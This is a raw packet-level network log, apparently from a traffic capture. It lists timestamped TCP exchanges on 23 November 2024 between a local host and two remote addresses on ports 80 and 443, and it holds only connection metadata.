Nov 23, 2024 05:02:52.318027020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.318788052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.318840027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.318890095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.319149017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.319765091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.319827080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.319861889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.319981098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.320703030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.320808887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.320835114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.321010113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.321664095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.321728945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.321773052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.321846962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.322609901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.322654009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.322719097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.322758913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.323563099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.323656082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.323689938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.323710918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.324522972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.324554920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.324579954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.324599981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.325463057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.325588942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.325680017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.326432943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.326519012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.326539993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.326668024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.327389002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.327440977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.327502012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.327553988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.328334093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.328387022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.328429937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.328727007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.329284906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.329339981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.329381943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.329425097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.330229044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.330343962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.330389023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.330415964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.331204891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.331338882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.331379890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.331394911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.332144022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.332190990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.332233906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.332408905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.333102942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.333234072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.333301067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.334080935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.334178925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.334182978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.334393024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.335015059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.335074902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.335119009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.335268021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.335974932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.336040020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.336147070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.336194992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.336899996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.337042093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.454432011 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:52.454515934 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:52.458122015 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:52.458137035 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:52.458506107 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:52.463480949 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:52.463542938 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:52.463552952 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:52.463661909 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:52.488054991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.488090038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.488118887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.488169909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.488538027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.488601923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.488639116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.488759995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.489272118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.489326000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.489336014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.489532948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.490228891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.490320921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.490386963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.491168022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.491233110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.491233110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.491275072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.492132902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.492234945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.492238998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.492449999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.493088007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.493114948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.493136883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.493150949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.494029999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.494077921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.494122028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.494313002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.494987965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.495037079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.495079994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.495197058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.495987892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.496053934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.496279955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.496331930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.496929884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.496993065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.497010946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.497148991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.497827053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.497875929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.497930050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.498028040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.498812914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.498917103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.498934031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.499133110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.499774933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.499891996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.499944925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.500720978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.500766993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.500804901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.500984907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.501662970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.501741886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.501749992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.501915932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.502634048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.502679110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.502722025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.502814054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.503571033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.503647089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.503678083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.503802061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.504518032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.504569054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.504605055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.504698038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.505474091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.505526066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.505563974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.505708933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.506422043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.506462097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.506544113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.506623030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.507383108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.507493973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.507503986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.507530928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.508348942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.508464098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.508512974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.509293079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.509346962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.509387970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.509510040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.510221958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.510271072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.510313034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.510452032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.511193991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.511250973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.511286020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.511331081 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:52.511375904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.512161016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.512262106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.512331963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.513097048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.513200045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.513230085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.513266087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.514053106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.514101028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.514107943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.514235973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.515024900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.515120029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.515216112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.515959978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.516010046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.516047955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.516150951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.516916037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.516963005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.517007113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.517153025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.517870903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.517982960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.517991066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.518038988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.518831015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.518877029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.518918991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.519042015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.519771099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.519860029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.519895077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.520009995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.520720005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.520780087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.520822048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.520957947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.521678925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.521725893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.521779060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.521908045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.522628069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.522711039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.522747993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.522886038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.523598909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.523650885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.523695946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.523792982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.524545908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.524595022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.524641037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.524738073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.525494099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.525645971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.525684118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.526463985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.526534081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.526614904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.526667118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.527393103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.527463913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.527501106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.527676105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.528342009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.528435946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.528455019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.528505087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.529309034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.529357910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.529392958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.529496908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.530240059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.530360937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.530410051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.531208038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.531330109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.531443119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.532147884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.532191992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.532257080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.532336950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.533103943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.533159018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.533194065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.533271074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.534068108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.534110069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.534177065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.534223080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.535044909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.535090923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.535108089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.535204887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.535985947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.536046028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.536081076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.536145926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.536927938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.536973000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.537014961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.537056923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.537853003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.537900925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.689465046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.689552069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.689554930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.689907074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.689960003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.690007925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.690881014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.690951109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.690973043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.691214085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.691811085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.691869974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.691901922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.692068100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.692773104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.692823887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.692833900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.693435907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.693717003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.693769932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.693815947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.693921089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.694669008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.694802999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.694859982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.695621967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.695677042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.695735931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.696300030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.696623087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.696677923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.696860075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.696921110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.697541952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.697612047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.697655916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.698036909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.698473930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.698532104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.698577881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.698753119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.699434042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.699505091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.699548960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.699613094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.700400114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.700470924 CET	49819	80	192.168.2.6	185.215.113.206
